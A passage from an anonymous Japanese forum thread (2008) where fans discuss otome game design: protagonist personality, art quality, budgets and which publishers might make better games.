それに個人の趣向まで入るとなったらなおさらだ
- 864 名前：名無しって呼んでいいか？ ：08/06/11 11:45:55 ID:???
- >>856
ええ？ イヅナはむしろ妹ヒロイン優遇だと思うんだがなあ…
感じ方ってホント人それぞれだな
>>857
乙女ゲーのヒロイン像への取り組みは良かった
TEA-CROWNはせめて開発人数を倍にしてくれりゃいいのに
真面目に作ってるのは分かるし技術もあるんだから
- 865 名前：名無しって呼んでいいか？ ：08/06/11 14:37:47 ID:???
- 人件費が一番かかるだろうに
小規模なところじゃなお更増やせんだろ…。
- 866 名前：名無しって呼んでいいか？ ：08/06/11 17:26:10 ID:???
- 勝気系のヒロインだけど個性を主張し過ぎずDQNじゃないって難しいのかな。
勝気っていうかカッコいいヒロイン？でプレイしたい。男っぽいって意味じゃなくて。
あんまりカッコいいキャラ性が立ち過ぎると自分で操作してる感じゼロになるかな？
>>865
あそこは人数を倍にしても３人か４人にしかならないぞw
まさか猫を２匹に増やせってことか？
- 867 名前：名無しって呼んでいいか？ ：08/06/11 17:48:40 ID:???
- 控えめも難しいと思うな
ただ男のいう事に逆らわない都合のいい女にしか見えなかったり
- 868 名前：名無しって呼んでいいか？ ：08/06/11 17:57:40 ID:???
- 性格はさておき、
最近はどこにでもいる普通の子ってタイプの主人公は減ったように思う。
特殊能力持ってたり、家筋がどうとかで話が始まるような。
- 869 名前：名無しって呼んでいいか？ ：08/06/11 19:58:59 ID:???
- >>867
男もヒロインの言う事に従順な都合の良い男ばっかなんだしちょうどいいんじゃないか？ｗ
- 870 名前：名無しって呼んでいいか？ ：08/06/11 21:58:33 ID:???
- なんかもう細かい性格なんてどうでもいいよ
助けて貰ったらありがとう、失礼なことをしたらごめんなさい、知り合いに会ったら挨拶、
それだけ出来る子なら
- 871 名前：名無しって呼んでいいか？ ：08/06/12 02:13:35 ID:???
- 主人公については少なからず皆、自己投影しちゃってるもんなんだよ。しないと言い張ってる人でも。プレイヤーが操作してる以上はこれは避けられない。それがゲームというツールの強みでもあり弱みでもある。
ただ乙女ゲに於いては、この｢投影｣っていうのが一番のネック。
没個性にしても完璧超人にしてもいけない。その中間でも具合が悪い。
結局のところは何人であっても完全には受け入れられない。シナリオとは関係ないところで。
だったらもう一層のこと、神にでもすれば良いんじゃないか。
そうすれば己で操作しようとも重ねることは不可能になり、主人公でありながら完全な傍観者になれる。
- 872 名前：名無しって呼んでいいか？ ：08/06/12 02:23:49 ID:???
- そんな主人公の乙女ゲーで楽しめるか？
例えば映画だったとしても
なに考えてるのかも解せない、良くわからない共感のしようもない異形の者の
一人称ストーリーで楽しませるには、よっぽど良くできたシナリオか
よっぽど訓練された観客じゃなきゃ無理だと思う。
- 873 名前：名無しって呼んでいいか？ ：08/06/12 02:32:46 ID:???
- 楽しめるかどうかは論点じゃない。
主人公については限界がある。一人称進行には限界がある。
- 874 名前：名無しって呼んでいいか？ ：08/06/12 03:16:24 ID:???
- とりあえず常識があれば叩かれはしない
- 875 名前：名無しって呼んでいいか？ ：08/06/12 03:49:30 ID:???
- 神じゃないが、主人公が天使というのはあったな
- 876 名前：名無しって呼んでいいか？ ：08/06/12 06:58:59 ID:???
- 乙女ゲーは取り合えず絵師選びのセンスを向上して欲しい
数は出てきたけどまだまだこなれてない気がする（さんざん既出だけど「顎キス」は大手なのになんであの絵？）
少女マンガ風にしたらいいのか、もうちょっと年齢層上なのか、
ターゲット層もよく考えないで上のおっさんが決めてるような
- 877 名前：名無しって呼んでいいか？ ：08/06/13 18:37:46 ID:???
- 確かにキャラデザは大事だけど
肝心のゲーム内絵師がへぼんだったり
塗りに予算まわさなかったりで悲惨になったりするから…
やっぱり絵に金かけようとしない限りはどうにもならんじゃないの？
どらきあやデュエルとか、アニメ入れる余裕あるなら基本絵をどうにかしてくれと思った
- 878 名前：名無しって呼んでいいか？ ：08/06/13 18:48:41 ID:???
- ＞ターゲット層もよく考えないで上のおっさんが決めてるような
フルキスはよくそれ言われてるよね
単純にリサーチ不足なんじゃないかと思うよ。それか資金不足か
メディアミックスの弊害もあるんじゃないかな
でも最近は絵の質は上がってきたんじゃないか？
乙女糸の乱発でそう思うのかもしれないけど
パッと見「ねーよｗｗｗ」って絵はそ ん な に 無いかな…？好みの差が激しいから一概には言えないが。
絵が綺麗だったら綺麗で内容お粗末な出来だと、他のところに金掛けろ！って言われるかもしれないけど
それって結局結果論だし。まずは視覚じゃない？絵で拒否反応出ちゃったら
ストーリーが気になっても買わない人多いだろうし。
他をおざなりにしろとは決して思わないけど、少なからず見た目が良ければ興味を削ぐことは無いよね
でも絵だけが売りなところとかは潰れればいいけど
なにが言いたいかというと、企業さんはどこにも妥協せず値段相応な良い物を作って下さい＾＾＾＾＾
- 879 名前：名無しって呼んでいいか？ ：08/06/14 04:35:28 ID:???
- 主人公の話が出たんで聞いてみたいんだけど
無個性主人公ってどこまでが無個性主人公なの？
大抵の乙女ゲは主人公の一人称で話が進行するし、
選択肢も会話形式になってる事が多いし、これは無個性だ！と
乙女ゲで思った事がないような…。
- 880 名前：名無しって呼んでいいか？ ：08/06/14 06:56:20 ID:???
- GSは無個性じゃない 顔グラ無し、サイト・説明書にも性格の説明無しって立派な無個性だと思うが
それでも何故か自分の中では「良い子」という印象があって、ああいう無個性好きだけど
コルダが１から２で無個性→個性付きになったのはアンケで多数が望んだからなのかね
- 881 名前：名無しって呼んでいいか？ ：08/06/14 09:48:27 ID:???
- >>880
コルダは2でも無個性なんじゃない？
2でも「○○と言う」とか「承諾する」とかそういう選択肢のみで主人公の台詞は一切出てこない
GSもだけどある程度のイメージはあって、そこからプレイヤーが肉付けしてくのは無個性に入るかなと
個人的な意見だけど
- 882 名前：名無しって呼んでいいか？ ：08/06/14 10:15:19 ID:???
- スチルに顔出しするようになったのはアニメの影響かね
ネオロマはアンジェが名前と容姿のみ、遙がゲームでもまれに喋る、コルダがゲームでも顔なし
とそれぞれ別れてたが、段々全部個性が強くなってきたと思う
ネオアンは生い立ちあるし、遙４はもう普通に喋ってもおかしくない設定だし
- 883 名前：名無しって呼んでいいか？ ：08/06/14 10:20:57 ID:???
- 最近動いてないけどこういうスレもある
【皆】乙女ｹﾞｰ主人公の性格を考える【前向き】
http://game14.2ch.net/test/read.cgi/ggirl/1153837972/l50
- 884 名前：名無しって呼んでいいか？ ：08/06/14 18:36:45 ID:???
- GSは隠しキャラ相手のときとかはかなりキャラ立ってるなと思ったが
公式設定ないのが大きいんだろうね
個人的に個性を排除しようとして、変な方向にいったのがリプルだと思ってる。
- 885 名前：名無しって呼んでいいか？ ：08/06/15 18:01:11 ID:???
- 無個性って根本的に無理なんじゃないか？
完全無個性なんてそれこそドラクエの主人公みたいにしないと
コルダやったこと無いから詳しく知らないんだけど、選択肢以外喋らないんだよね？
それなら無個性と呼べるかもしれないが
それとも恋愛ゲーに措いては、大体の人が「いい子」と感じればそれが無個性になるんだろうか
- 886 名前：名無しって呼んでいいか？ ：08/06/15 18:48:05 ID:???
- 個性ってのは何も人格的に突出したものだけを指すんじゃないんだろうな
極端に勝気とかじゃなくても、どんな時に何を言うか何をするか
主人公キャラなりの考え方や言動が合わさって個性に見えるんだと思う
- 887 名前：名無しって呼んでいいか？ ：08/06/16 00:54:40 ID:???
- DQレベルじゃなきゃ無個性は無理だよ
そしてそれじゃ誰も感情移入も人の恋愛を応援も出来ない
というか恋をする設定のゲームにおいて完全無個性って無理では
- 888 名前：名無しって呼んでいいか？ ：08/06/16 08:42:07 ID:???
- コルダ無印やパレドゥは完全無個性って言っていいと思うから
無理ってこともないんでない？
パレドゥは変な選択肢もあるけど回避もできるから個性とは言わないと思うし
他にも一般ゲーだけどエランとか転生とかの
感情入力（＋選択肢）使ったりしたら無個性主人公恋愛ゲーできそうだと思う
自分はDQN行動する主人公よりは無個性のが感情移入できるけどな
ただ、ほぼ文章だけで進むAVGだと無個性主人公は難しいだろうね
- 889 名前：名無しって呼んでいいか？ ：08/06/16 09:32:45 ID:???
- ＡＤＶは安く作れるしね
どこぞの金太郎飴メーカーはそればっｋ(ry
久しぶりにエランみたいなＳＦ仕立ての乙女ゲーやりたくなってきた
マール王国みたいな古いのもリメイクしてるからあれもＤＳでリメイクして欲しいな
- 890 名前：名無しって呼んでいいか？ ：08/06/16 13:35:02 ID:???
- 何か『無個性』の受け取り方も人それぞれだね
乙女ゲーで「無個性」とされるのは、
ユーザーの受け取り方（もしくは選択肢）次第で性格が大幅に違ってくるもの（パレドゥレーヌ等）や
主人公に細かな設定がつけられていないもの（コルダ、GS等）だと思ってたよ
自分はどちらも楽しめる人間なんで、どこかではき違えてたりするのかな…
「無個性主人公じゃなきゃ嫌」という人が求める主人公ってのは、どういう形が望ましいんだろう？
年齢から何から可変であるべきなのか、性格さえ決められていなければある程度は許容範囲なのか
当然人によって違ってくるだろうけど「概ねこの辺り」というラインが知りたいな
- 891 名前：名無しって呼んでいいか？ ：08/06/16 15:49:10 ID:???
- コルダは１・２どちらも無個性だなと思ったよ
２はスチルで顔出ししてたけど、感情描写はないから
特に香穂子と意識してプレイする事なはかったな
GSは台詞あるから無個性とは言いきれないけど、
選択肢が多いし呼び名変更があるから割とユーザー次第でイメージは変わると思う
>>890
＞性格さえ決められていなければある程度は許容範囲
私はこれかな
年齢設定はｱﾝｼﾞｪとか特に年齢意識しなくてもいい
ｹﾞｰﾑにはない方がいいと思う（身長･体重まで設定あるけどｗ）
- 892 名前：名無しって呼んでいいか？ ：08/06/17 13:17:15 ID:???
- 無個性じゃなくても個性が強すぎor悪くなければいいんじゃないか？
主人公スレで絶賛なウィルオハンナも気になってやってみたら無個性な訳じゃなかったし
でもちゃんと常識と優しさがあり出しゃばらないから主人公としてはまさに理想的だと思った
とりあえず常識があって初対面にいきなりアンタ呼ばわりとかしなきゃいいです
- 893 名前：名無しって呼んでいいか？ ：08/06/19 18:58:35 ID:???
- >>891 , >>892
ありがとう、参考になりました。
＞無個性じゃなくても個性が強すぎor悪くなければいいんじゃないか？
この意見については、「無個性じゃなきゃ嫌」というわけではないのかな？
「個性が強すぎると嫌」と「無個性じゃなきゃ嫌」の間には
超えられない壁やら溝やらが存在している気がするんだけど、どうだろう
暇な時間にあれこれ考えてみたけど、無個性主人公のADVは作るのが大変そうだね
ヘタすると主人公が置いてきぼりの状態で話が進んでしまいかねない
もちろん、腕のいいライターを引っ張ってくれば不可能じゃないけど
個性有り主人公での話に比べると、より困難なんじゃないかな
ちなみに無個性主人公＋SIM系とかは、相性が良さそうだけど、
ゲーム性を前面に押し出した時に乙女ゲーユーザー層の
比較的厚い部分がついてきてくれるかどうかだよね
自分がちょっと濃い部分にいると思われるので、
一般的（？）な乙女ゲーユーザーの思う「ゲーム性」がどの辺りなのかも
把握できない感じだ…… orz
- 894 名前：名無しって呼んでいいか？ ：08/06/20 10:37:19 ID:???
- コンマイはときめも基金(？)のおかげで他のメーカーとは比するべくもなく完成度高い乙女ゲつくってると思う。
だけど何故か乙女ゲ界の白眉と言えば肥ってことになってる不思議。
- 895 名前：名無しって呼んでいいか？ ：08/06/20 11:11:29 ID:???
- 白眉がわからなくてググってしまったｗ
肥は単純に本数出しててそれぞれ結構売れてるし
乙女ゲって言葉が出る前から出してるメーカーだから
そういう意味では浸透してるし1番名前を挙げやすいんじゃないかね
コンマイは完成度高いと思うけど、オリジナルの乙女ゲはGSだけな上に
続編出るかも怪しいし原作付きは評価別れるしで名を挙げづらいのかも
- 896 名前：名無しって呼んでいいか？ ：08/06/20 11:40:59 ID:???
- 釣りじゃない事を祈りながらマジレス
ときメモの場合はベースが存在していたからじゃないかな
もちろん乙女ゲーに作り変えての完成度の高さは評価される部分だろうけど
元々あった（女性向けではない）シリーズからの派生という点は良くも悪くも影響してくると思う
対する肥は、一定のクオリティーを保って複数のシリーズを作っている点が
評価されているんじゃないかと思う
シリーズも他から引っ張ってきたものではなく、新規で立ち上げてるしね
ただ、この辺の評価については人によって違ってくる部分でしょ
個人的には優劣付けがたいな
どちらも「堅実な作品を出しているメーカー（及びブランド）」だとは思うけどね
- 897 名前：名無しって呼んでいいか？ ：08/06/20 12:10:25 ID:???
- >>891
2はかなり感情描写あったと思ったな
攻略キャラごとに主人公のキャラがブレるんでなんだかなぁって思った
- 898 名前：名無しって呼んでいいか？ ：08/06/20 12:11:50 ID:???
- ベースがあったからって言うなら
こーえーだってのぶやぼや太閤立志ベースに乙女ゲ作ればいいんだよ
人物データやらなにやら流用すりゃできなかないはずなんだから
忠誠を親密度に買えちゃえばいいダヨｗ
- 899 名前：名無しって呼んでいいか？ ：08/06/20 12:18:11 ID:???
- >>898
それは多分PCでないと作りにくい上
乙女ゲーユーザーはあまりついてこないと思うぞｗ
- 900 名前：名無しって呼んでいいか？ ：08/06/20 12:23:47 ID:???
- 面白いのにｗ
毎月毎月九州まで島津三兄弟に会いにいったりしてたのにｗ
ハートが埋まっていくとなんだか楽しいんだぞ
月一回の貢物（お茶会も可）を見繕うのも楽しいんだぞｗ
- 901 名前：名無しって呼んでいいか？ ：08/06/20 12:24:33 ID:???
- >>985
重箱の隅で恐縮だが、一応マイネもコナミオリジナルだと思う。
GSより早かった気がするし、1はシステム面はほぼときメモ。
- 902 名前：901 ：08/06/20 12:25:19 ID:???
- うわ、ロングパスしちゃった。
×>>985
○>>885
- 903 名前：名無しって呼んでいいか？ ：08/06/20 13:04:24 ID:???
- マイネは573オリジナルみたいだね
しかしながら、573ではなくコンマイと個人を指して言うのであれば
マイネに関わっていたのかどうかまでは判らない
そもそも、573オリジナルといってもGSやマイネ２となるとテンキーが（ｒｙ
まぁ、テンキーが関わってる乙女ゲーの数自体が多いんだけどなｗ
- 904 名前：名無しって呼んでいいか？ ：08/06/20 13:56:57 ID:???
- 肥に対する評価はアンジェがこのジャンルの草分け的存在なのが大きいのでは。
いずれ何処かが出したかもしれないけど、あの頃各メーカーに先んじて発売したのは
やはり勇気が要ったと思うよ。
その後もコンスタンスに安定して人気のある作品を出し続けてるし。
作品のカラーや商法が人によっては受け入れられない、というのはあるだろうけど。
- 905 名前：名無しって呼んでいいか？ ：08/06/20 14:32:04 ID:???
- >>895-896
確かに肥は手堅い。それは認める。>>903が言う様に乙女ゲの嚆矢も肥だし。
オリジナルタイトルを３本も持ってて、その全てがコンスタントにユーザーを掴んでる。一定の評価もされてる。
ただ肥はやろうと思えばできるのにやらない子って印象がある。
つまりいつも手抜き。だから完成度的にはいつまで経ってもコンマイ＞肥。
肥が本気を出してくれたならどんなにか……。
- 906 名前：名無しって呼んでいいか？ ：08/06/20 14:44:39 ID:???
- >>905
肥作品は未プレイなのでどんな所が手抜きかわからないけど、
手を抜いて作っても売れるからわざわざ作りこまないのかもしれないね
- 907 名前：名無しって呼んでいいか？ ：08/06/20 14:49:36 ID:???
- ＞つまりいつも手抜き。だから完成度的にはいつまで経ってもコンマイ＞肥
これはさすがに偏りすぎだと思うぞ？
好きな方が高評価になるのは当たり前なんだけどね
両方好き（もしくは嫌い）という人間から見たら
ゲーム自体の評価はそんなに変わらないんじゃないかな
- 908 名前：名無しって呼んでいいか？ ：08/06/20 14:53:12 ID:???
- そもそもジャンル違うし比べようが無い
一長一短
- 909 名前：名無しって呼んでいいか？ ：08/06/20 14:58:12 ID:???
- 肥以外にもそれは当てはまる。
内容が不出来でも絵と声がよかったらそれなりに売れる
↓
一定以上売れるならわざわざ金かけて作らなくて良いんじゃね？
↓
企業(ﾟдﾟ)ｳﾏｰ このスレにいるような乙女ゲユーザー('A`)ﾏｽﾞｰ
このスレ初代から読んでみたんだけど、
今と言われてることがそれほど変わらなくてﾜﾛﾀｗ
強いて言うなら進歩したのは絵くらいかｗ
- 910 名前：名無しって呼んでいいか？ ：08/06/20 15:30:48 ID:???
- 概ね同意
でも、それはあくまでもユーザー側からの穿った意見だというのを忘れちゃ駄目だ
外からじゃ事情は窺い知れないしね
知らぬが仏、という可能性ももちろんあるけどなｗ
- 911 名前：名無しって呼んでいいか？ ：08/06/20 15:52:23 ID:???
- >>907
いや、個人的な好き嫌いじゃないのよ。実際、私は肥ユーザーだし。何だかんだ言っても肥を見限れない。
ネオロマの合間にちょっとDSGS2やってみたら何か愕然としてさ。
乙女ゲなのに、ちゃんとゲームになってる〜って思って。感心しちゃった訳よ。
いや、そもそも「ちゃんとゲームになってる」っていう感想はおかしいんだけどもｗ
乙女ゲに限ってはこういう感想が出てきてもおかしくない現状なんだよね。
- 912 名前：名無しって呼んでいいか？ ：08/06/20 16:05:49 ID:???
- 「ちゃんとゲーム」部分は下地が用意されていたわけだからなぁ
それでコンマイを評価するのはおかしな話じゃないか？
GSのゲーム部分を取り上げて「コンマイは凄い！」となってしまうと
初代を作り上げた開発陣は立つ瀬がないぞ
- 913 名前：名無しって呼んでいいか？ ：08/06/20 16:41:09 ID:???
- 下地が違うってのは知ってるけど、ユーザーにとっては出来上がりが全てなんじゃないか。
>>909
乙女ゲってハードのポテンシャルの1/100くらいしか使ってないイメージ。
>>906
肥もポテンシャル1/30くらいしか使ってないイメージ。
- 914 名前：名無しって呼んでいいか？ ：08/06/20 17:05:24 ID:???
- >>913
現行ハードのポテンシャルを100％引き出そうとしたら
ADVを選択する可能性はほぼ0になる
何故なら、現行ハードは3Dを動かす事に
重点を置いた仕様になっているから
これは乙女ゲーに限らず、一般ゲーでも同じ事が言える
ハードの性能を引き出しきったゲームがやりたいのなら
コンシューマーのADVはプレイするだけ無駄だぞ
- 915 名前：名無しって呼んでいいか？ ：08/06/20 18:52:18 ID:???
- メーカーは３Dアクション乙女ゲを作ればいいんですね、わかります
- 916 名前：名無しって呼んでいいか？ ：08/06/20 19:51:34 ID:???
- そこでMGS・GSですよ
- 917 名前：名無しって呼んでいいか？ ：08/06/20 20:07:17 ID:???
- ダンボールをかぶって攻略対象に接近するんですね、わかります
- 918 名前：名無しって呼んでいいか？ ：08/06/20 21:11:21 ID:???
- 肥が三国志ベースの乙女ゲ出してくれないから
三国恋戦記が出るんじゃないのか
- 919 名前：名無しって呼んでいいか？ ：08/06/21 01:46:16 ID:???
- キャラをベースにするのと
現在あるゲームのシステムをベースにするのは全く違うぞ
- 920 名前：名無しって呼んでいいか？ ：08/06/21 03:42:19 ID:???
- そもそも三国志は女武将で結婚イベントあるじゃないか
- 921 名前：名無しって呼んでいいか？ ：08/06/21 15:20:17 ID:???
- 3Dアクションだとわざわざ購買層を乙女に絞る必要が（ｒｙ
とマジレスしてみるｗ
簡単な戦略シミュとかなら乙女でも作れそうな気はするけどね
FFTなんかはそれなりに女性ユーザーもいたっぽいし
ああいうのもぼちぼち出てきて欲しい
陣取りなら一応パレドゥレーヌが該当するけど
継続して、とならなかった辺り、やっぱり乙女では
ADVか育成/経営シミュが無難なのか…
- 922 名前：名無しって呼んでいいか？ ：08/06/21 16:06:59 ID:???
- 近所の祖父で乙女ゲーは必ずと言っていいほどワゴン行きになってるのを見ると
力入れて作った分だけメーカーは損するんじゃないかと思ってしまう
ファンの評価が高かろうが、後に中古価格が高くなろうが特価販売を経てるんだよなあ…
- 923 名前：名無しって呼んでいいか？ ：08/06/21 16:31:24 ID:???
- それで損しているのはメーカーではなく店側じゃないか？
確かコンシューマーのソフトは買い切りだった気が
まぁ、ワゴンに積まれるほど余ったら
次の作品の入荷数は絞られてしまうだろうから
そういう意味では影響してくるだろうけどな
- 924 名前：名無しって呼んでいいか？ ：08/06/21 16:40:06 ID:???
- 乙女ゲームを作ろうって
そのスタート段階からしてダメな気がする。
結果的に乙女ゲーです
ぐらいじゃなければ、結局萌えゲーしか出てこない状態がずっと続くと思う。
ユーザーの方も半数は望んでないみたいだしね、萌え要素以外。
- 925 名前：名無しって呼んでいいか？ ：08/06/21 16:42:07 ID:???
- 変な日本語になった
すまんスルーしてくれ
- 926 名前：名無しって呼んでいいか？ ：08/06/21 18:22:32 ID:???
- >>921
ぶっちゃけアトリエは乙女ゲーにむいてたと思うんだよねー
ガストが版権うらねーかなぁ
もうださなそう出し
- 927 名前：名無しって呼んでいいか？ ：08/06/21 18:24:13 ID:???
- 唯一ネームバリューがある代表作を売るわきゃないじゃん…
倒産でもしない限り
- 928 名前：名無しって呼んでいいか？ ：08/06/21 18:28:12 ID:???
- でももうださなそうだよ＜アトリエ
- 929 名前：名無しって呼んでいいか？ ：08/06/21 18:34:15 ID:???
- ガストが版権を手放しても
それを得たメーカーが乙女ゲ要素ありの内容を出してくれるとは限らんと思うが…
もっと酷いメーカーだったらどうするよ。
- 930 名前：名無しって呼んでいいか？ ：08/06/21 18:42:30 ID:???
- オトメイトとか？ｗ
- 931 名前：名無しって呼んでいいか？ ：08/06/21 18:58:14 ID:???
- アトリエってＲＰＧになってるけど、内容はほぼシミュレーションだよ。
乙女ゲー会社が買い取ったらファンは喜ぶだろうけど
乙女じゃさして革新的なゲームシステムというわけじゃないと思うんだけどどうよ。
>>930
例えばギャルゲーメーカーが買い取ったら
ガスト以上に百合要素だらけになって、乙女要素なくなるかもよってことじゃないかな？
- 932 名前：名無しって呼んでいいか？ ：08/06/21 19:00:42 ID:???
- 外注のリーズみたいになるのがオチだよ
個人的には既存キャラたちが弄くられなくて
放置されてるだけマシだな（マリーはIFゲーだかに出たらしいが）
- 933 名前：名無しって呼んでいいか？ ：08/06/22 08:37:03 ID:???
- 普通のゲームがギャルゲーぽくなる化学変化はよくあるけど
その逆は殆んどないからなぁ
- 934 名前：名無しって呼んでいいか？ ：08/06/23 17:27:50 ID:???
- キャラに萌えっていうものを感じるゲーマー(いわゆるオタク)って、好きなキャラは最強にするよね
乙女ゲもRPGかディスガイアみたいなやりこみシミュにしたら買う人増えそうだし長く遊んで貰えそう
個人的には今回の遙か４、システムとしてはよくぞやってくれたって感じだった。
リアルロデも控えてることだし、これからRPG風味なのが増えてったら幅が広がって嬉しい。
- 935 名前：名無しって呼んでいいか？ ：08/06/23 18:23:40 ID:???
- RPG（シミュRPGを含む）にするなら一般にした方が売れるだろうからなぁ
主人公の性別選択可で作る、という方が現実的かも
「ゲーム要素を強める＝開発費が嵩む」はどうにもならない部分だから
乙女ゲーのユーザー数を鑑みるに、期待するのは酷なんじゃなかろうか
- 936 名前：名無しって呼んでいいか？ ：08/06/23 18:26:32 ID:???
- ノベルが主流になったのは
予算少なくても作れるからが最大の理由だろうしね
- 937 名前：名無しって呼んでいいか？ ：08/06/23 19:33:48 ID:???
- 女性ゲーマーが男性より少ないのはともかくとして
実際問題乙女ゲーマーは一般ゲームあんまりしないの？
最近のＲＰＧって昔に比べて難易度下がってきてるし
普通に乙女に流用してくれても問題ない気がするんだよなぁ
ＦＦとか幻想水滸伝とかも女性ユーザー多いっぽいし
絵が綺麗でとっつきやすいシステムなら問題ないんじゃとか思ったりする
- 938 名前：名無しって呼んでいいか？ ：08/06/23 19:40:12 ID:???
- 乙女ゲームしかやらない人の方が少ないんじゃないかな
一般ゲーもしたって
乙女ゲームはヌルくてお手軽なのがいい、萌えを楽しむもの。
普通にゲームで遊びたかったら一般ゲーするよ
って層もいるからね。
過去スレとかでもそういう意見出てた。
- 939 名前：名無しって呼んでいいか？ ：08/06/23 19:57:26 ID:???
- >>937
ユーザーの好みの問題じゃなくて、上にあるように開発費の問題じゃないの？
難易度低くてもRPG一本分作ろうと思えばコストが掛かっちゃうし、
乙女ゲとして発売しても採算が取れない
- 940 名前：名無しって呼んでいいか？ ：08/06/23 20:46:26 ID:???
- でも携帯ゲーのRPGなみには予算あるところもあるはずなんだよなあ
今回の遙かみたいなのをずーっと薄めていくとその先にサモンナイト系があるというか
その中間、最初からRPG基盤でキャラへの肉付けの過程で恋愛を重視 みたいなことは出来ないはずないんだ
ただ、ユーザーが最後に求めるものはやっぱりキャラ萌えになるから
力入れてそういうゲームの基盤をつくるよりも、キャラや声をぜいたくにした方が安上がりで売れるのが現状
新しいことに挑戦する気概と金のある大手でも乙女に力入れようってところはない
- 941 名前：名無しって呼んでいいか？ ：08/06/23 20:48:15 ID:???
- 塗りをなんとかして欲しい
そこだけ頑張っても仕方ないけど
- 942 名前：名無しって呼んでいいか？ ：08/06/23 21:20:43 ID:???
- >>940
携帯ゲーのRPGって本当に必要最低限の人数しか居ないぞ
シナリオ専門の人居なくてプログラマが組みながらテキスト入れてリリースとかしてる
なのでシナリオ破綻する事が多い。肉付けは厳しいと思う
- 943 名前：942 ：08/06/23 21:23:11 ID:???
- ああ、ごめん
携帯ゲーって携帯ゲーム機のことか
- 944 名前：名無しって呼んでいいか？ ：08/06/23 21:25:23 ID:???
- ＞新しいことに挑戦する気概と金のある大手でも乙女に力入れようってところはない
そりゃあ人数の少ない乙女ゲーユーザー相手にするより、
一般向けに作った方がメーカーとしても旨いだろうから仕方ない
- 945 名前：名無しって呼んでいいか？ ：08/06/23 21:38:05 ID:???
- かの世界樹は数名のスタッフでつくったとかなんとか
テイルズ・スパロボが20〜30万の弾
乙女ゲはDSGS2が10万ちょい
まぁ、マトモなゲーム性乗っけるにはもう10万はほしいわな
- 946 名前：名無しって呼んでいいか？ ：08/06/23 21:49:27 ID:???
- 男性向けだとエロゲーは1万売れたらヒット、くらいで沢山だす方向性で固まってるし
それでも中身を凝った大作をたまに出す→ファンがついてCS移植で10万ヒットくらいのことはしてるんだよなあ
リーフとか言わんが、女性向けでも高い所に志もったブランドが欲しいわ
- 947 名前：名無しって呼んでいいか？ ：08/06/23 21:51:55 ID:???
- 数が捌けないジャンルだし、本編が一般ゲーより割高感があっても致し方ないとは思う。
だがそれならあと3000円高くてもいいから
一般ゲー並みのボリュームをシナリオに持たせて欲しい…。
- 948 名前：名無しって呼んでいいか？ ：08/06/23 22:11:06 ID:???
- >>945
テイルズやらスパロボやらの様にシリーズになっているものは
ノウハウを持っていたりベースがあったりするから参考にならない
引き合いに出すなら新規参入でS・RPGをリリースしたところじゃないと
実際は一般ゲーでも新規はそうそうないけどな
- 949 名前：名無しって呼んでいいか？ ：08/06/23 23:58:00 ID:???
- >>945
もうこうなったら友達を片っ端から乙女ゲーマーにするしか
- 950 名前：名無しって呼んでいいか？ ：08/06/24 00:08:32 ID:???
- >>949
ある意味建設的だなｗ
あんまり乙女要素強くすると一般のゲーマーは引いちゃって買わないと思うし
やっぱり既存のＲＰＧの恋愛要素を強めるってのは冒険だと思うな
何かにつけ腐女子に媚びやがってと文句いうご時世だから…
- 951 名前：名無しって呼んでいいか？ ：08/06/24 00:17:59 ID:???
- >>945
世界樹もBUSINがベースになってるんじゃなかったっけ？
- 952 名前：名無しって呼んでいいか？ ：08/06/24 01:03:44 ID:???
- >>951
そのBUSINもベースはWIZ
- 953 名前：名無しって呼んでいいか？ ：08/06/24 01:13:33 ID:???
- つまりだ
やるとしたらある程度ベースになれるゲームを過去作として持ってる会社で
制作にいくらかお金をかけても元が取れればいいよ的な大きな懐を持ってくれる大手で
一般ゲーにもそれなりに携わって、ノウハウが分っているスタッフと
乙女ゲーのシナリオやキャラ萌えを熟知しているプロデューサーがいれば…！
- 954 名前：名無しって呼んでいいか？ ：08/06/24 01:15:05 ID:???
- >>951-953
つまりコナミが幻想水滸伝やウイイレをベースに、または光栄が三国志やオプーナをベースに
ＤＳあたりでなんか作ればいいってことですね
わかります
- 955 名前：名無しって呼んでいいか？ ：08/06/24 01:35:27 ID:???
- ウイイレ乙女ゲー想像した
案外いけるかもしれん
オプーナは本格RPGだから萌えの入る余地が思いつかない
- 956 名前：名無しって呼んでいいか？ ：08/06/24 01:56:26 ID:???
- エンジン毎回組み直してるやつは無理じゃね？
- 957 名前：名無しって呼んでいいか？ ：08/06/24 02:03:40 ID:???
- >>954
こーえーはジルオールがあるじゃん
大昔にあった伊忍道はおもろかったんだけどなぁ
あと大航海時代に太閤立志と結構あるよ
- 958 名前：名無しって呼んでいいか？ ：08/06/24 11:12:28 ID:???
- セガあたりが乙女ゲに参入してくれないかなぁ。
良い感じにバカっぼいのができそうなのになぁ。
- 959 名前：名無しって呼んでいいか？ ：08/06/24 11:54:49 ID:???
- セガは今落ち目だからな
サクラを急激縮小→終了させてるし、今乙女なんかに手を出してる余裕ないだろうなと思う
サクラのスタッフはPS3に手を出さないで手堅くアドベンチャーで恋愛ゲーつくれば良かったんじゃないか
と考えると、こっちに参入もわりとアリかもしれんが
- 960 名前：名無しって呼んでいいか？ ：08/06/24 12:27:12 ID:???
- セガならきっと既存の乙女ゲの斜め上を行ってくれると信じてるんだぜ。
- 961 名前：名無しって呼んでいいか？ ：08/06/24 12:38:47 ID:???
- 倒産する前にバクチ打って欲しいよな
- 962 名前：名無しって呼んでいいか？ ：08/06/24 14:38:06 ID:???
- 大手で参入してるのって肥、コンマイ、カプンコ、くらい？
残ってるのはセガ、スクエニ、バンダイ(微妙)……あたりか。
- 963 名前：名無しって呼んでいいか？ ：08/06/24 16:23:43 ID:???
- >>962
デュエルラブとドラキラがバンナムだったと思う
両方「NBGI」となっているけど、開発元の情報は不明
セガは落ち目というけど、ハードから撤退してソフトに集中する動きになってるから
これから盛り返してくるんじゃないかと期待している
もともといいソフト作るのに、ハード開発に手を出してからgdgdだったからな…
前に出ていたSRPGな乙女ゲーも、セガなら作れると思うんだけど
ラブベリ方向で参入という可能性もあるから期待しすぎるのは危険かｗ
- 964 名前：名無しって呼んでいいか？ ：08/06/24 16:26:54 ID:???
- ドラキラはテンキー開発が売りのような紹介のされ方してるな
自分は知ってたが、初耳の一の方が多いんじゃ
- 965 名前：名無しって呼んでいいか？ ：08/06/24 16:35:49 ID:???
- >>963
本当だ。知らなかったよ、情報トンです
テンキー公式でも日記の方には情報あったんだな…
リリースの方しか見てなかった orz
- 966 名前：名無しって呼んでいいか？ ：08/06/24 16:36:58 ID:???
- スマン、間違った
>>965 は >>964 あてです
- 967 名前：名無しって呼んでいいか？ ：08/06/24 19:17:20 ID:???
- ネオロマが勘違いRPG路線になりそうで怖いな
光栄はシミュで定評があった(過去形)んだから
